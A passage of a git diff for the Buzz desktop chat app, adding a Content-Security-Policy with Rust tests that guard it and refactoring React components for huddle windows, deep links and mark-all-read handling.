     fn stale_channel_actions_are_not_requeued_after_community_change() {
         let mut queue = TrayActionQueue {
diff --git a/desktop/src-tauri/tauri.conf.json b/desktop/src-tauri/tauri.conf.json
index 2eba7815b2..39950d5902 100644
--- a/desktop/src-tauri/tauri.conf.json
+++ b/desktop/src-tauri/tauri.conf.json
@@ -1,7 +1,7 @@
 {
   "$schema": "https://schema.tauri.app/config/2",
   "productName": "Buzz",
-  "version": "0.5.2",
+  "version": "0.5.5",
   "identifier": "xyz.block.buzz.app",
   "build": {
     "beforeDevCommand": {
@@ -36,7 +36,7 @@
     ],
     "macOSPrivateApi": true,
     "security": {
-      "csp": null
+      "csp": "default-src 'self'; base-uri 'self'; form-action 'none'; frame-ancestors 'none'; object-src 'none'; script-src 'self' 'wasm-unsafe-eval' https://cdn.jsdelivr.net/npm/@mediapipe/; style-src 'self' 'unsafe-inline'; font-src 'self' data:; connect-src 'self' ipc: http://ipc.localhost buzz-media: http://buzz-media.localhost https: http: wss: ws:; img-src 'self' buzz-media: http://buzz-media.localhost data: blob: https: http:; media-src 'self' buzz-media: http://buzz-media.localhost data: blob: https: http:; worker-src 'self' blob:"
     }
   },
   "plugins": {
@@ -55,6 +55,7 @@
     "externalBin": [
       "binaries/buzz-acp",
       "binaries/buzz-agent",
+      "binaries/buzz-backend-kubernetes",
       "binaries/buzz-dev-mcp",
       "binaries/git-credential-nostr",
       "binaries/buzz"
diff --git a/desktop/src-tauri/tauri.windows.conf.json b/desktop/src-tauri/tauri.windows.conf.json
new file mode 100644
index 0000000000..abf09b5bfd
--- /dev/null
+++ b/desktop/src-tauri/tauri.windows.conf.json
@@ -0,0 +1,11 @@
+{
+  "bundle": {
+    "externalBin": [
+      "binaries/buzz-acp",
+      "binaries/buzz-agent",
+      "binaries/buzz-dev-mcp",
+      "binaries/git-credential-nostr",
+      "binaries/buzz"
+    ]
+  }
+}
diff --git a/desktop/src-tauri/tests/csp.rs b/desktop/src-tauri/tests/csp.rs
new file mode 100644
index 0000000000..a8cc880e41
--- /dev/null
+++ b/desktop/src-tauri/tests/csp.rs
@@ -0,0 +1,201 @@
+//! Guards on the packaged-app Content-Security-Policy in `tauri.conf.json`.
+//!
+//! The CSP is only enforced on assets Tauri itself serves, so neither
+//! `just dev` (loads the Vite `devUrl`) nor the Playwright suite (runs under
+//! `vite preview`) can catch a policy that breaks the app. These tests pin the
+//! non-obvious sources the frontend actually needs, so a future tightening
+//! fails here instead of in a signed build.
+//!
+//! Kept as an integration test so the policy can be checked without the app
+//! crate having to declare a test-only module.
+
+use std::collections::HashMap;
+
+const TAURI_CONF: &str = include_str!("../tauri.conf.json");
+
+fn csp_directives() -> HashMap<String, Vec<String>> {
+    let conf: serde_json::Value =
+        serde_json::from_str(TAURI_CONF).expect("tauri.conf.json is valid JSON");
+    let csp = conf["app"]["security"]["csp"]
+        .as_str()
+        .expect("app.security.csp is set as a policy string");
+
+    csp.split(';')
+        .filter_map(|directive| {
+            let mut parts = directive.split_whitespace();
+            let name = parts.next()?;
+            Some((name.to_owned(), parts.map(str::to_owned).collect()))
+        })
+        .collect()
+}
+
+fn sources(directive: &str) -> Vec<String> {
+    csp_directives()
+        .remove(directive)
+        .unwrap_or_else(|| panic!("csp is missing the {directive} directive"))
+}
+
+#[test]
+fn script_src_allows_wasm_instantiation() {
+    // Shiki's default engine (Oniguruma) instantiates inlined WebAssembly for
+    // every code block; MediaPipe selfie segmentation does the same. Without
+    // this token both silently degrade — highlighting drops to plain text and
+    // animated avatars keep their background.
+    assert!(sources("script-src").contains(&"'wasm-unsafe-eval'".to_owned()));
+}
+
+/// The `MEDIAPIPE_WASM_BASE` literal the frontend hands to `FilesetResolver`.
+fn mediapipe_wasm_base() -> String {
+    const CAPTURE: &str = include_str!("../../src/features/profile/lib/animatedAvatarCapture.ts");
+
+    let after = CAPTURE
+        .split_once("const MEDIAPIPE_WASM_BASE =")
+        .expect("animatedAvatarCapture.ts declares MEDIAPIPE_WASM_BASE")
+        .1;
+    let url = after
+        .split_once('"')
+        .expect("MEDIAPIPE_WASM_BASE is a double-quoted string literal")
+        .1;
+    url.split_once('"')
+        .expect("MEDIAPIPE_WASM_BASE literal is terminated")
+        .0
+        .to_owned()
+}
+
+/// The npm scope the MediaPipe loader must come from. A CSP source ending in
+/// `/` is a path *prefix* — paths can't be wildcarded — so this admits any
+/// `@mediapipe` package while excluding the rest of what jsDelivr serves.
+const MEDIAPIPE_SCOPE: &str = "https://cdn.jsdelivr.net/npm/@mediapipe/";
+
+#[test]
+fn script_src_scopes_the_mediapipe_loader() {
+    // `FilesetResolver.forVisionTasks` loads `vision_wasm[_nosimd]_internal.js`
+    // via a `<script>` tag (which of the two depends on a runtime SIMD probe),
+    // so the loader URL the frontend builds has to fall inside the allowlisted
+    // prefix — checked here rather than discovered in a signed build.
+    let allowed = sources("script-src");
+    assert!(
+        allowed.contains(&MEDIAPIPE_SCOPE.to_owned()),
+        "script-src must allow {MEDIAPIPE_SCOPE}"
+    );
+
+    let base = mediapipe_wasm_base();
+    assert!(
+        base.starts_with(MEDIAPIPE_SCOPE),
+        "MEDIAPIPE_WASM_BASE ({base}) must sit under the allowlisted {MEDIAPIPE_SCOPE}"
+    );
+}
+
+/// How many path segments a source narrows to past its origin.
+fn path_depth(source: &str) -> usize {
+    let Some((_scheme, authority)) = source.split_once("://") else {
+        return 0;
+    };
+    match authority.split_once('/') {
+        Some((_host, path)) => path.split('/').filter(|part| !part.is_empty()).count(),
+        None => 0,
+    }
+}
+
+/// Whether a `script-src` source is narrow enough to be worth allowing. CSP
+/// keywords (`'self'`, `'wasm-unsafe-eval'`) pass. A remote source must name a
+/// non-wildcard host *and* a path reaching at least a publisher scope — a bare
+/// origin, a scheme, or a registry root would put arbitrary third-party code
+/// one injected `<script>` away.
+fn is_pinned_script_source(source: &str) -> bool {
+    if source.starts_with('\'') {
+        return true;
+    }
+    !source.contains('*') && path_depth(source) >= 2
+}
+
+#[test]
+fn script_src_trusts_no_bare_origins() {
+    for source in sources("script-src") {
+        assert!(
+            is_pinned_script_source(&source),
+            "script-src must stay scoped, found broad source `{source}`"
+        );
+    }
+}
+
+#[test]
+fn pinned_script_source_rejects_broad_sources() {
+    // Guards the guard: the check above is only worth having if it fails on the
+    // shapes that reopen the allowlist.
+    for allowed in [
+        "'self'",
+        "'wasm-unsafe-eval'",
+        MEDIAPIPE_SCOPE,
+        "https://cdn.jsdelivr.net/npm/@mediapipe/tasks-vision@0.10.35/wasm/vision_wasm_internal.js",
+    ] {
+        assert!(is_pinned_script_source(allowed), "{allowed} should pass");
+    }
+    for rejected in [
+        "https://cdn.jsdelivr.net",
+        "https://cdn.jsdelivr.net/",
+        "https://cdn.jsdelivr.net/npm/",
+        "https://cdn.jsdelivr.net/gh/",
+        "https://*.jsdelivr.net/npm/@mediapipe/",
+        "https:",
+        "*",
+    ] {
+        assert!(
+            !is_pinned_script_source(rejected),
+            "{rejected} should be rejected"
+        );
+    }
+}
+
+#[test]
+fn media_directives_allow_the_buzz_media_scheme() {
+    // `rewriteRelayUrl` emits `buzz-media://localhost/...` until the loopback
+    // proxy port resolves, so cold-start media renders through the custom
+    // scheme (mapped to `http://buzz-media.localhost` on Windows).
+    for directive in ["img-src", "media-src", "connect-src"] {
+        let allowed = sources(directive);
+        assert!(
+            allowed.contains(&"buzz-media:".to_owned()),
+            "{directive} must allow buzz-media:"
+        );
+        assert!(
+            allowed.contains(&"http://buzz-media.localhost".to_owned()),
+            "{directive} must allow http://buzz-media.localhost"
+        );
+    }
+}
+
+#[test]
+fn connect_src_allows_ipc_and_cleartext_relays() {
+    // `ipc:` / `http://ipc.localhost` carry every Tauri command. Cleartext
+    // `http:`/`ws:` stay allowed because a relay URL is user-supplied and the
+    // app accepts plain `ws://` on any host (`communityStorage::normalizeRelayUrl`,
+    // the community edit form): `relayProbe` opens a browser WebSocket to it,
+    // so narrowing this to loopback would report reachable relays as dead —
+    // while the real connection, which runs through tauri-plugin-websocket in
+    // Rust, is not governed by CSP at all. Blanket `https:` is already allowed,
+    // so restricting the cleartext schemes would close no exfiltration path.
+    let allowed = sources("connect-src");
+    for source in [
+        "ipc:",
+        "http://ipc.localhost",
+        "https:",
+        "http:",
+        "wss:",
+        "ws:",
+    ] {
+        assert!(
+            allowed.contains(&source.to_owned()),
+            "connect-src must allow {source}"
+        );
+    }
+}
+
+#[test]
+fn script_src_stays_free_of_unsafe_inline_and_eval() {
+    let allowed = sources("script-src");
+    // The inline boot script in index.html is covered by Tauri's build-time
+    // sha256 hashing, so neither escape hatch is ever needed here.
+    assert!(!allowed.contains(&"'unsafe-inline'".to_owned()));
+    assert!(!allowed.contains(&"'unsafe-eval'".to_owned()));
+}
diff --git a/desktop/src/app/App.tsx b/desktop/src/app/App.tsx
index 44618f2c72..811da043f9 100644
--- a/desktop/src/app/App.tsx
+++ b/desktop/src/app/App.tsx
@@ -18,8 +18,10 @@ import {
 } from "@/app/communityViewTransition";
 import { deriveShellRoute } from "@/app/AppShell.helpers";
 import { ThemeGrainientBackground } from "@/app/ThemeGrainientBackground";
+import { CommunityThemeController } from "@/shared/theme/CommunityThemeController";
 import { useReloadShortcut } from "@/app/useReloadShortcut";
 import { KnownAgentPubkeysProvider } from "@/features/agents/useKnownAgentPubkeys";
+import { huddleWindowChannelId } from "@/features/huddle/lib/huddleWindow";
 import { useAppOnboardingState } from "@/features/onboarding/hooks";
 import { useMachineOnboardingState } from "@/features/onboarding/machineOnboarding";
 import {
@@ -40,6 +42,7 @@ import { PendingInviteGate } from "@/features/onboarding/ui/PendingInviteGate";
 import { KeyringLockedScreen } from "@/features/onboarding/ui/KeyringLockedScreen";
 import { RelaunchRequiredScreen } from "@/features/onboarding/ui/RelaunchRequiredScreen";
 import { ResetFailedScreen } from "@/features/onboarding/ui/ResetFailedScreen";
+import { loadCommunityDiscoveryAfterLeave } from "@/features/communities/communityStorage";
 import { useCommunityInit } from "@/features/communities/useCommunityInit";
 import { useNestNotifications } from "@/features/communities/useNestNotifications";
 import { useCommunities } from "@/features/communities/useCommunities";
@@ -318,6 +321,8 @@ function CommunityApp({
   const [isCommunityChangeOpen, setIsCommunityChangeOpen] = useState(false);
   const [resumeFirstCommunityPage, setResumeFirstCommunityPage] =
     useState<FirstCommunityPage | null>(null);
+  const isFindingCommunityAfterLeave =
+    activeCommunity === null && loadCommunityDiscoveryAfterLeave();
 
   // Surface nest-related backend events (repos-dir errors, legacy migration)
   // as toasts. Mounted before useCommunityInit so the listeners are registered
@@ -342,6 +347,7 @@ function CommunityApp({
     activeCommunity,
     communityKey,
     sharedIdentity,
+    isFindingCommunityAfterLeave,
   );
 
   const transitionCommunity = useCallback(
@@ -511,7 +517,9 @@ function CommunityApp({
       appContent = (
         <WelcomeSetup
           initialPage={resumeFirstCommunityPage ?? undefined}
-          onBack={onBackToMachineConfig}
+          onBack={
+            isFindingCommunityAfterLeave ? undefined : onBackToMachineConfig
+          }
         />
       );
     } else if ("error" in community && community.error) {
@@ -546,6 +554,7 @@ function CommunityApp({
   if (appContent === null && (!transaction || isEnteringCurtain)) {
     appContent = communityApplied ? (
       <CommunityQueryProvider key={communityKey}>
+        <CommunityThemeController />
         <AppReady
           isCommunitySwitch={isCommunitySwitch}
           key={communityKey}
@@ -652,12 +661,13 @@ function MachineBootstrap({ sharedIdentity }: { sharedIdentity: boolean }) {
     [activeCommunity, communityOnboarding.start],
   );
 
-  // Deep links are captured here — above the machine-onboarding gate — not in
-  // CommunityApp. The Rust side queues them; draining into the persisted
-  // community-onboarding transaction immediately means an invite opened on a
-  // fresh install is acknowledged on screen while the identity steps are
-  // still pending, and survives a relaunch in between.
+  // Community links are app-global work. A Huddle companion loads the same
+  // React tree, but must never race the main window for the native pending-link
+  // queue or replace its dedicated transcript surface with onboarding.
+  const acceptsCommunityDeepLinks = huddleWindowChannelId() === null;
   useEffect(() => {
+    if (!acceptsCommunityDeepLinks) return;
+
     const unlisten = listenForDeepLinks({
       startCommunityOnboarding: communityOnboarding.start,
       openAddCommunity,
@@ -666,7 +676,7 @@ function MachineBootstrap({ sharedIdentity }: { sharedIdentity: boolean }) {
     return () => {
       void unlisten.then((fn) => fn());
     };
-  }, [communityOnboarding.start, openAddCommunity]);
+  }, [acceptsCommunityDeepLinks, communityOnboarding.start, openAddCommunity]);
 
   if (machine.stage === "reset-failed") return <ResetFailedScreen />;
   if (machine.stage === "keyring-locked") return <KeyringLockedScreen />;
diff --git a/desktop/src/app/AppHuddleBar.tsx b/desktop/src/app/AppHuddleBar.tsx
new file mode 100644
index 0000000000..5dfc31d41c
--- /dev/null
+++ b/desktop/src/app/AppHuddleBar.tsx
@@ -0,0 +1,29 @@
+import type * as React from "react";
+
+import { HuddleBar } from "@/features/huddle";
+
+import { AppProfilePanelProvider } from "@/app/AppProfilePanelProvider";
+
+type AppHuddleBarProps = Pick<
+  React.ComponentProps<typeof HuddleBar>,
+  "mode" | "onOpenHuddleWindow" | "onOpenThread" | "onVisibilityChange"
+>;
+
+export function AppHuddleBar({
+  mode,
+  onOpenHuddleWindow,
+  onOpenThread,
+  onVisibilityChange,
+}: AppHuddleBarProps) {
+  return (
+    <AppProfilePanelProvider>
+      <HuddleBar
+        className="h-full"
+        mode={mode}
+        onOpenHuddleWindow={onOpenHuddleWindow}
+        onOpenThread={onOpenThread}
+        onVisibilityChange={onVisibilityChange}
+      />
+    </AppProfilePanelProvider>
+  );
+}
diff --git a/desktop/src/app/AppHuddleShell.tsx b/desktop/src/app/AppHuddleShell.tsx
new file mode 100644
index 0000000000..29dcd26cdf
--- /dev/null
+++ b/desktop/src/app/AppHuddleShell.tsx
@@ -0,0 +1,83 @@
+import type * as React from "react";
+import { AppHuddleBar } from "@/app/AppHuddleBar";
+import * as BuzzTheme from "@/app/BuzzThemeSurfaces";
+import { HuddleProvider } from "@/features/huddle";
+import { RemindMeLaterProvider } from "@/features/reminders/ui/RemindMeLaterProvider";
+import { cn } from "@/shared/lib/cn";
+
+type AppHuddleShellProps = {
+  children: React.ReactNode;
+  currentPubkey?: string;
+  isCompanionOpen: boolean;
+  isDrawerOpen: boolean;
+  isRoom: boolean;
+  onCompanionOpen: () => void;
+  onHuddleStartPendingChange: (pending: boolean) => void;
+  onHuddleStarted: (ephemeralChannelId: string) => void | Promise<void>;
+  onShowHuddleInMainApp: (ephemeralChannelId: string) => void;
+  onViewHuddleChannel: (ephemeralChannelId: string) => void;
+  onVisibilityChange: (visible: boolean) => void;
+};
+
+export function AppHuddleShell({
+  children,
+  currentPubkey,
+  isCompanionOpen,
+  isDrawerOpen,
+  isRoom,
+  onCompanionOpen,
+  onHuddleStartPendingChange,
+  onHuddleStarted,
+  onShowHuddleInMainApp,
+  onViewHuddleChannel,
+  onVisibilityChange,
+}: AppHuddleShellProps) {
+  return (
+    <HuddleProvider
+      ownsAudioSession={!isRoom}
+      onHuddleStartPendingChange={
+        isRoom ? undefined : onHuddleStartPendingChange
+      }
+      onHuddleStarted={isRoom ? undefined : onHuddleStarted}
+      onShowHuddleInMainApp={isRoom ? undefined : onShowHuddleInMainApp}
+      onViewHuddleChannel={isRoom ? undefined : onViewHuddleChannel}
+    >
+      <RemindMeLaterProvider pubkey={currentPubkey}>
+        <div
+          className="buzz-huddle-shell relative h-dvh overflow-hidden overscroll-none"
+          data-huddle-open={isDrawerOpen}
+          data-huddle-window={isRoom}
+        >
+          <div
+            aria-hidden="true"
+            className={cn(
+              "buzz-huddle-drawer-backdrop",
+              isDrawerOpen && "buzz-huddle-drawer-backdrop-open",
+            )}
+          />
+          <div
+            className={cn(
+              "buzz-huddle-app-surface z-10 flex min-h-0 flex-row overflow-hidden bg-background",
+              isDrawerOpen &&
+                (isRoom
+                  ? "buzz-huddle-app-surface-room-open"
+                  : "buzz-huddle-app-surface-open"),
+            )}
+          >
+            <BuzzTheme.GradientLayer />
+            {children}
+          </div>
+          {isRoom || !isCompanionOpen ? (
+            <div className="absolute inset-x-0 bottom-0 z-[2] h-(--buzz-huddle-drawer-height)">
+              <AppHuddleBar
+                mode={isRoom ? "room" : "main"}
+                onOpenHuddleWindow={isRoom ? undefined : onCompanionOpen}
+                onVisibilityChange={onVisibilityChange}
+              />
+            </div>
+          ) : null}
+        </div>
+      </RemindMeLaterProvider>
+    </HuddleProvider>
+  );
+}
diff --git a/desktop/src/app/AppProfilePanelProvider.tsx b/desktop/src/app/AppProfilePanelProvider.tsx
new file mode 100644
index 0000000000..213acec498
--- /dev/null
+++ b/desktop/src/app/AppProfilePanelProvider.tsx
@@ -0,0 +1,22 @@
+import * as React from "react";
+
+import { useAppNavigation } from "@/app/navigation/useAppNavigation";
+import { ProfilePanelProvider } from "@/shared/context/ProfilePanelContext";
+
+export function AppProfilePanelProvider({
+  children,
+}: Readonly<{ children: React.ReactNode }>) {
+  const { goProfile } = useAppNavigation();
+  const handleOpenProfilePanel = React.useCallback(
+    (pubkey: string) => {
+      void goProfile(pubkey);
+    },
+    [goProfile],
+  );
+
+  return (
+    <ProfilePanelProvider onOpenProfilePanel={handleOpenProfilePanel}>
+      {children}
+    </ProfilePanelProvider>
+  );
+}
diff --git a/desktop/src/app/AppShell.helpers.test.mjs b/desktop/src/app/AppShell.helpers.test.mjs
index 73505d1798..fa06232923 100644
--- a/desktop/src/app/AppShell.helpers.test.mjs
+++ b/desktop/src/app/AppShell.helpers.test.mjs
@@ -1,7 +1,10 @@
 import assert from "node:assert/strict";
 import test from "node:test";
 
-import { shouldBounceForChannelNotification } from "./AppShell.helpers.ts";
+import {
+  markAllReadSources,
+  shouldBounceForChannelNotification,
+} from "./AppShell.helpers.ts";
 
 test("shouldBounceForChannelNotification_allowsTopLevelChannelMessages", () => {
   assert.equal(shouldBounceForChannelNotification([["h", "channel"]]), true);
@@ -27,3 +30,43 @@ test("shouldBounceForChannelNotification_allowsBroadcastReplies", () => {
     true,
   );
 });
+
+test("markAllReadSources clears Inbox overrides and active thread activity", () => {
+  const calls = [];
+
+  markAllReadSources({
+    activeChannelId: "active-channel",
+    channelActivityItems: [
+      { channelId: "another-channel", createdAt: 100 },
+      { channelId: "active-channel", createdAt: 200 },
+      { channelId: "active-channel", createdAt: 300 },
+    ],
+    unreadFeedItemIds: new Set(["first-inbox-item", "second-inbox-item"]),
+    undoUnreadFeedItem: (itemId) => calls.push(`inbox:${itemId}`),
+    markAllChannelReadMarkers: () => calls.push("channels"),
+    markActiveChannelRead: (channelId, createdAt) =>
+      calls.push(`active:${channelId}:${createdAt}`),
+  });
+
+  assert.deepEqual(calls, [
+    "inbox:first-inbox-item",
+    "inbox:second-inbox-item",
+    "channels",
+    "active:active-channel:300",
+  ]);
+});
+
+test("markAllReadSources skips the active marker without projected activity", () => {
+  const calls = [];
+
+  markAllReadSources({
+    activeChannelId: "active-channel",
+    channelActivityItems: [],
+    unreadFeedItemIds: new Set(),
+    undoUnreadFeedItem: () => calls.push("inbox"),
+    markAllChannelReadMarkers: () => calls.push("channels"),
+    markActiveChannelRead: () => calls.push("active"),
+  });
+
+  assert.deepEqual(calls, ["channels"]);
+});
diff --git a/desktop/src/app/AppShell.helpers.ts b/desktop/src/app/AppShell.helpers.ts
index b0ce894931..dd6b9195e8 100644
--- a/desktop/src/app/AppShell.helpers.ts
+++ b/desktop/src/app/AppShell.helpers.ts
@@ -86,6 +86,41 @@ export function shouldBounceForChannelNotification(tags: string[][]): boolean {
   return !isThreadReply(tags);
 }
 
+export function markAllReadSources({
+  activeChannelId,
+  channelActivityItems,
+  markAllChannelReadMarkers,
+  markActiveChannelRead,
+  undoUnreadFeedItem,
+  unreadFeedItemIds,
+}: {
+  activeChannelId: string | null;
+  channelActivityItems: ReadonlyArray<{
+    channelId: string | null;
+    createdAt: number;
+  }>;
+  markAllChannelReadMarkers: () => void;
+  markActiveChannelRead: (channelId: string, createdAt: number) => void;
+  undoUnreadFeedItem: (itemId: string) => void;
+  unreadFeedItemIds: ReadonlySet<string>;
+}) {
+  for (const itemId of unreadFeedItemIds) {
+    undoUnreadFeedItem(itemId);
+  }
+  markAllChannelReadMarkers();
+
+  if (!activeChannelId) return;
+
+  let latestActivityAt: number | null = null;
+  for (const item of channelActivityItems) {
+    if (item.channelId !== activeChannelId) continue;
+    latestActivityAt = Math.max(latestActivityAt ?? 0, item.createdAt);
+  }
+  if (latestActivityAt !== null) {
+    markActiveChannelRead(activeChannelId, latestActivityAt);
+  }
+}
+
 export function toSearchHit(
   target: DesktopNotificationTarget,
 ): SearchHit | null {
diff --git a/desktop/src/app/AppShell.tsx b/desktop/src/app/AppShell.tsx
index b856434e61..f765b843b3 100644
--- a/desktop/src/app/AppShell.tsx
+++ b/desktop/src/app/AppShell.tsx
@@ -1,10 +1,12 @@
 import * as React from "react";
 import { useQueryClient } from "@tanstack/react-query";
 import { Outlet, useLocation } from "@tanstack/react-router";
-import { deriveShellRoute } from "@/app/AppShell.helpers";
+import { deriveShellRoute, markAllReadSources } from "@/app/AppShell.helpers";
+import { useTerminalContext } from "@/app/useTerminalContext";
 import { AppShellProvider } from "@/app/AppShellContext";
-import * as BuzzTheme from "@/app/BuzzThemeSurfaces";
-import { AppShellOverlays } from "@/app/AppShellOverlays";
+import { AppShellOverlays, TerminalBootstrap } from "@/app/AppShellOverlays";
+import { AppShellChannelSurface } from "@/app/AppShellChannelSurface";
+import { AppHuddleShell } from "@/app/AppHuddleShell";
 import { AppTopChrome } from "@/app/AppTopChrome";
 import { useAppNavigation } from "@/app/navigation/useAppNavigation";
 import { useBackForwardControls } from "@/app/navigation/useBackForwardControls";
@@ -15,9 +17,11 @@ import { useMarkAsReadShortcuts } from "@/app/useMarkAsReadShortcuts";
 import { useSettingsShortcuts } from "@/app/useSettingsShortcuts";
 import { useAppShellDesktopNotifications } from "@/app/useAppShellDesktopNotifications";
 import { useAppShellLifecycleEffects } from "@/app/useAppShellLifecycleEffects";
-import { useThreadActivityFeedItems } from "@/app/useThreadActivityFeedItems";
+import { useChannelActivityProjection } from "@/app/useChannelActivityProjection";
 import { useTauriWindowDrag } from "@/app/useTauriWindowDrag";
 import { useWebviewZoomShortcuts } from "@/app/useWebviewZoomShortcuts";
+import { useHuddlePresentation } from "@/app/useHuddlePresentation";
+import { shouldShowSidebarChannel } from "@/app/huddleChannelVisibility";
 import {
   channelsQueryKey,
   useChannelsQuery,
@@ -26,7 +30,6 @@ import {
   useOpenDmMutation,
 } from "@/features/channels/hooks";
 import { useUnreadChannels } from "@/features/channels/useUnreadChannels";
-import { msgContextKey } from "@/features/channels/readState/readStateFormat";
 import { useMembershipNotifications } from "@/features/channels/useMembershipNotifications";
 import { useFeedItemState } from "@/features/home/useFeedItemState";
 import { useThreadFollows } from "@/features/messages/lib/useThreadFollows";
@@ -63,9 +66,7 @@ import {
   type SettingsSection,
   isSettingsSection,
 } from "@/features/settings/ui/SettingsPanels";
-import { HuddleBar, HuddleProvider } from "@/features/huddle";
 import { useDueReminderBadgeCount } from "@/features/reminders/hooks";
-import { RemindMeLaterProvider } from "@/features/reminders/ui/RemindMeLaterProvider";
 import { useReminderNotifications } from "@/features/reminders/useReminderNotifications";
 import { AppSidebar } from "@/features/sidebar/ui/AppSidebar";
 import { requestFocusedThreadClose } from "@/features/channels/focusedThreadCloseRequest";
@@ -86,28 +87,38 @@ import { useRelayAutoHeal } from "@/shared/api/useRelayAutoHeal";
 import { useDeferredStartup } from "@/shared/hooks/useDeferredStartup";
 import { useWebviewScrollBoundaryLock } from "@/shared/hooks/useWebviewScrollBoundaryLock";
 import { joinChannel } from "@/shared/api/tauri";
-import type { ChannelVisibility, SearchHit } from "@/shared/api/types";
+import type { Channel, ChannelVisibility, SearchHit } from "@/shared/api/types";
 import { ChannelNavigationProvider } from "@/shared/context/ChannelNavigationContext";
-import { MainInsetProvider } from "@/shared/layout/MainInsetContext";
-import { chromeCssVarDefaults } from "@/shared/layout/chromeLayout";
-import { cn } from "@/shared/lib/cn";
 import { hasPrimaryShortcutModifier } from "@/shared/lib/platform";
 import { useMessageDeepLinks } from "@/shared/useMessageDeepLinks";
-import { SidebarInset, SidebarProvider } from "@/shared/ui/sidebar";
+import { SidebarProvider } from "@/shared/ui/sidebar";
 import { RelayConnectionOverlay } from "@/app/RelayConnectionOverlay";
 import { useSidebarRelayConnectionCard } from "@/features/sidebar/ui/useSidebarRelayConnectionCard";
 import { AppShellTrayMenu } from "@/app/useAppShellTrayMenu";
-
-const LazySettingsScreen = React.lazy(async () => {
-  const module = await import("@/features/settings/ui/SettingsScreen");
-  return { default: module.SettingsScreen };
-});
-
+import { AppProfilePanelProvider } from "@/app/AppProfilePanelProvider";
+import { LazySettingsScreen } from "@/app/LazySettingsScreen";
+const EMPTY_CHANNELS: Channel[] = [];
 export function AppShell() {
   useWebviewZoomShortcuts();
   useTauriWindowDrag();
   useWebviewScrollBoundaryLock();
   const communitiesHook = useCommunities();
+  const {
+    handleHuddleCompanionOpen,
+    handleHuddleEnded,
+    handleHuddleStartPendingChange,
+    handleHuddleStarted,
+    handleHuddleVisibilityChange,
+    handleSidebarChannelSelect,
+    huddleBackingChannelIds,
+    revealedHuddleChannelIds,
+    isHuddleCompanionOpen,
+    isHuddleDrawerOpen,
+    isHuddleRoom,
+    isHuddleRoomStarting,
+    showHuddleInMainApp,
+    viewHuddleChannel,
+  } = useHuddlePresentation();
   const hasCommunityRail = communitiesHook.communities.length > 1;
   const addCommunityDialog = useAddCommunityDialogState();
   const [isChannelManagementOpen, setIsChannelManagementOpen] =
@@ -118,7 +129,6 @@ export function AppShell() {
   const [searchFocusRequest, setSearchFocusRequest] = React.useState(0);
   const [isCreateChannelOpen, setIsCreateChannelOpen] = React.useState(false);
   const [isSendFeedbackOpen, setIsSendFeedbackOpen] = React.useState(false);
-  const [isHuddleDrawerOpen, setIsHuddleDrawerOpen] = React.useState(false);
   const mainInsetRef = React.useRef<HTMLElement>(null);
   const location = useLocation();
   const queryClient = useQueryClient();
@@ -160,7 +170,6 @@ export function AppShell() {
     ? locationSearchSection
     : DEFAULT_SETTINGS_SECTION;
   const startupReady = useDeferredStartup();
-
   const identityQuery = useIdentityQuery();
   const { mutedChannelIds, muteChannel, unmuteChannel } = useChannelMutes(
     identityQuery.data?.pubkey,
@@ -184,8 +193,8 @@ export function AppShell() {
   // guard here would drop managed-agent coverage during startup.
   useAgentObserverIngestion();
   // Kind 24200 is relay-ephemeral, so reconciliation runs eagerly (not
-  // deferred) and unconditionally repairs the DB subscription on internal
-  // builds — otherwise frames emitted before the listener opens are lost.
+  // deferred): seeds kind 24200 for fresh identities, no-ops for explicit
+  // opt-outs. Frames before the listener opens are permanently lost.
   const observerReconciled = useObserverArchiveReconciliation(
     identityQuery.data?.pubkey,
   );
@@ -239,8 +248,17 @@ export function AppShell() {
     [channels],
   );
   const sidebarChannels = React.useMemo(
-    () => memberChannels.filter((channel) => channel.archivedAt === null),
-    [memberChannels],
+    () =>
+      memberChannels.filter(
+        (channel) =>
+          channel.archivedAt === null &&
+          shouldShowSidebarChannel(
+            channel,
+            huddleBackingChannelIds,
+            revealedHuddleChannelIds,
+          ),
+      ),
+    [huddleBackingChannelIds, memberChannels, revealedHuddleChannelIds],
   );
   const hasRestoredCommunityDestinationRef = React.useRef(false);
   React.useEffect(() => {
@@ -290,45 +308,46 @@ export function AppShell() {
     selectedView,
     sidebarChannels,
   ]);
-  const activeChannel = React.useMemo(
-    () =>
-      selectedChannelId
-        ? (channels.find((channel) => channel.id === selectedChannelId) ?? null)
-        : null,
-    [channels, selectedChannelId],
-  );
+  const { activeChannel, terminalContext } = useTerminalContext({
+    channelId: selectedChannelId,
+    channels,
+    locationSearch: location.search,
+    pubkey: identityQuery.data?.pubkey,
+    relayUrl: communitiesHook.activeCommunity?.relayUrl,
+  });
   const managedChannel = React.useMemo(() => {
     const targetChannelId = managedChannelId ?? selectedChannelId;
     return targetChannelId
       ? (channels.find((channel) => channel.id === targetChannelId) ?? null)
       : null;
   }, [channels, managedChannelId, selectedChannelId]);
-
   const {
     handleChannelNotification,
     handleDmNotification,
     handleThreadReplyDesktopNotification,
   } = useAppShellDesktopNotifications({
     channels,
+    enabled: !isHuddleRoom,
     goChannel,
     goHome,
     notificationSettings: notificationSettings.settings,
     openSearchHit,
     pubkey: identityQuery.data?.pubkey,
+    silentChannelIds: huddleBackingChannelIds,
   });
-
   const {
     followedRootIds,
     isFollowing: isFollowingThread,
     followThread,
     unfollowThread,
   } = useThreadFollows(identityQuery.data?.pubkey);
-
   const {
-    markAllChannelsRead,
+    markAllChannelsRead: markAllChannelReadMarkers,
     markChannelRead,
     markChannelUnread,
+    clearChannelUnreadSource,
     unreadChannelIds,
+    topLevelUnreadChannelIds,
     unreadChannelCounts,
     highPriorityUnreadChannelIds,
     unreadChannelNotificationCount,
@@ -339,80 +358,76 @@ export function AppShell() {
     participatedRootIds,
     authoredRootIds,
     mentionedRootIds,
+    recordThreadInteraction,
     threadActivityItems,
     mutedRootIds,
     muteThread,
     unmuteThread,
-  } = useUnreadChannels(sidebarChannels, activeChannel, {
-    pubkey: identityQuery.data?.pubkey,
-    relayClient,
-    relayUrl: communitiesHook.activeCommunity?.relayUrl,
-    currentPubkey: identityQuery.data?.pubkey,
-    mutedChannelIds,
-    notifyForActiveChannel: notificationSettings.settings.notifyWhileViewing,
-    onChannelMessage: handleChannelNotification,
-    onDmMessage: handleDmNotification,
-    onLiveMention: refetchHomeFeedFromLiveSignal,
-    onThreadReplyDesktopNotification: handleThreadReplyDesktopNotification,
-    followedRootIds,
-  });
-
-  const getThreadReadAt = React.useCallback(
-    (rootId: string, channelId?: string | null) => {
-      const threadReadAt = getOwnReadAt(`thread:${rootId}`);
-      if (!channelId) {
-        return threadReadAt;
-      }
-
